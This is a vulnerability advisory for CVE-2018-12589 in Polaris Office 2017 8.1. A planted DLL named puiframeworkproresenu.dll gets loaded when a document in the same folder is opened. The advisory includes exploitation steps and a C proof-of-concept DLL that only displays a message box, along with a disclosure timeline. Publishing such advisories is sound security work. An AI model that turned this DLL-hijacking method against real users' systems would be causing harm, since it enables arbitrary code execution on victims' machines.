Polaris Office 2017 8.1 Remote Code Execution

`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/POLARISOFFICE-2017-v8-REMOTE-CODE-EXECUTION.txt  
[+] ISR: Apparition Security   
  
  
Vendor:  
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www.polarisoffice.com  
  
  
Product:  
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PolarisOffice 2017 v8  
  
Polaris Document Solution is an integrated solution for corporate document life cycle from document creation, use, management, security, and collaboration.  
  
Used by more than 70 million subscribers in 240 countries.  
  
  
Vulnerability Type:  
===================  
Remote Code Execution  
  
  
CVE Reference:  
==============  
CVE-2018-12589  
  
  
Security Issue:  
================  
Polaris Office 2017 8.1 allows attackers to execute arbitrary code via a Trojan horse "puiframeworkproresenu.dll" file  
in the current working directory, due to a search order flaw vulnerability.  
  
1) create a 32bit DLL named "puiframeworkproresenu.dll"   
2) put any .PDF or .PPTX file or whatever that is configured to open in Polaris Office in same directory as the above DLL   
3) open the document (PDF etc) then BOOM our arbitrary DLL will execute on victims system.  
  
This can be observed as well with both the DLL and a document opened from a remote share.  
  
  
  
Exploit/POC:  
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#include <windows.h>  
  
/* hyp3rlinx */  
  
/*  
gcc -c -m32 puiframeworkproresenu.c  
gcc -shared -m32 -o puiframeworkproresenu.dll puiframeworkproresenu.o  
*/  
  
void trojanizer(){  
MessageBox( 0, "Continue with PWNAGE?" , "philbin :)" , MB_YESNO + MB_ICONQUESTION );  
}  
  
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){  
switch(fdwReason){  
case DLL_PROCESS_ATTACH:{  
trojanizer();  
break;  
}  
case DLL_PROCESS_DETACH:{  
trojanizer();  
break;  
}  
case DLL_THREAD_ATTACH:{  
trojanizer();  
break;  
}  
case DLL_THREAD_DETACH:{  
trojanizer();  
break;  
}  
}  
  
return TRUE;  
}  
  
  
  
  
Network Access:  
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Remote  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: June 14, 2018  
Vendor confirms vulnerability : June 19, 2018  
Mitre assigned CVE : June 20, 2018  
Vendor replied fix will be in July  
however, update was released : June 23, 2018  
Notified vendor of impending advisory : June 23, 2018  
Vendor : "glad to hear that your problem has been solved"  
June 26, 2018 : Public Disclosure  
  
  
  
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or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
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